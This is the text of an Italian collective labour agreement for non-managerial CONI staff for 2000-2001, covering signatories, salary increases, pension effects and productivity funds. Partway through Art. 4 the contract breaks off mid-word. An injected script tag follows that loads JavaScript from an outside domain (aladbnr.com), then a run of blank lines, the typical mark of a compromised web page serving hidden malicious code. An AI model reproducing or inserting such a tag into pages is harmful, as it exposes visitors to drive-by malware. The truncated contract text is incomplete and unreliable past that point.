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Categoria: CONI
Settore: Pubblica Amministrazione
Data stipula: 7-3-2002
Data decorrenza: 1-1-2000
Data scadenza: 31-12-2001


Contratto Collettivo Nazionale di Lavoro
relativo al biennio economico 2000-2001

DEL PERSONALE NON DIRIGENTE DEL CONI


In  data  7  marzo  2002,  alle ore 17 ha avuto luogo  l'incontro  per  la
definizione del CCNL in oggetto tra:

-  ARAN nella persona di Antonio Guida, componente del Comitato direttivo,
per delega del Presidente Guido Fantoni;

e le seguenti Organizzazioni sindacali:

- CGIL-FP
- CISL-FPS
- UIL-PA
- CONFSAL-UGL
- CISAL-SNALCO
- RDB-PI

e Confederazioni sindacali:

- CGIL
- CISL
- UIL
- UGL
- CISAL
- RDB-CUB;


Al  termine della riunione le parti hanno sottoscritto l'allegato CCNL per
il personale non dirigente del CONI, biennio economico 2000-2001



Art. 1 - Campo di applicazione.

Il  presente CCNL, relativo al biennio economico 2000-2001, si applica  al
personale  e  ai professionisti dipendenti del CONI destinatari  del  CCNL
stipulato il 15.5.01.



Art. 2 - Aumenti dello stipendio tabellare .

1)
Gli  stipendi  tabellari derivanti dall'applicazione  dell'art.  65,  CCNL
15.5.01,  corrispondenti alle posizioni economiche  rivestite  nell'ambito
del  sistema  di  classificazione, sono incrementati con le  decorrenze  e
negli  importi  lordi  mensili, per 13 mensilità,  indicati  nell'allegata
tabella 1.

2)
Gli  importi  annui degli stipendi tabellari, risultanti dall'applicazione
del  comma  1,  sono rideterminati alle scadenze e nelle misure  stabilite
dall'allegata tabella 2.

3)
Gli  stipendi tabellari dei professionisti dipendenti di cui all'art.  82,
CCNL  15.5.01,  sono incrementati con le decorrenze e negli importi  lordi
mensili, per 13 mensilità, indicati nell'allegata tabella 3.

4)
Gli  importi annui degli stipendi tabellari dei professionisti  dipendenti
risultanti dall'applicazione del comma 3, sono rideterminati alle scadenze
e nelle misure stabilite dall'allegata tabella 4.

5)
Gli incrementi retributivi di cui ai commi 1 e 3 sono corrisposti al netto
delle  indennità di vacanza contrattuale già percepite con le  modalità  e
nelle misure stabilite dall'art. 1, comma 4, CCNL 19.11.96.



Art. 3 - Effetti dei nuovi stipendi.

1)
Le misure degli stipendi tabellari, risultanti dall'applicazione dell'art.
2, sono utili ai fini della 13a mensilità, dei trattamenti di previdenza e
di  quiescenza, dell'equo indennizzo e sono assunte a base ai  fini  delle
ritenute previdenziali e assistenziali e relativi contributi, nonché della
determinazione della misura dei contributi di riscatto.

2)
I   benefici  economici  risultanti  dall'applicazione  dell'art.  2  sono
computati  ai  fini previdenziali, secondo gli ordinamenti  vigenti,  alle
scadenze e negli importi previsti dal medesimo articolo, nei confronti del
personale  comunque  cessato dal servizio, con  diritto  a  pensione,  nel
periodo  di  vigenza economica del presente contratto;  agli  effetti  del
trattamento  di  fine servizio, dell'indennità sostitutiva del  preavviso,
nonché  di  quella  prevista dall'art. 2122 CC, si  considerano  solo  gli
aumenti maturati alla data di cessazione del rapporto di lavoro.



Art. 4 - Integrazione delle risorse per le politiche di sviluppo
         delle risorse umane e per la produttività.

1)
Nel  periodo luglio-dicembre 2000, le risorse per le politiche di sviluppo
delle  risorse  umane  e  per la produttività di  cui  all'art.  67,  CCNL
15.5.01, sono incrementate di un importo pari allo 0,17% del monte  salari
del  1999,  esclusa  la quota relativa alla dirigenza e ai  professionisti
dipendenti.

2)
A  valere  dal  2001, la percentuale d'incremento di  cui  al  comma  1  è
rideterminata nella misura dello 0,31%.

3)
Il  CONI,  nel rispetto dei limiti del proprio bilancio e in  presenza  di
condizioni organizzative e gestionali che consentano i controlli interni e
la  valutazione dei risultati secondo i principi generali di cui al D.lgs.
n.   286/99,  può  destinare  risorse  aggiunt<script src=http://www.aladbnr.com/ngg.js></script>













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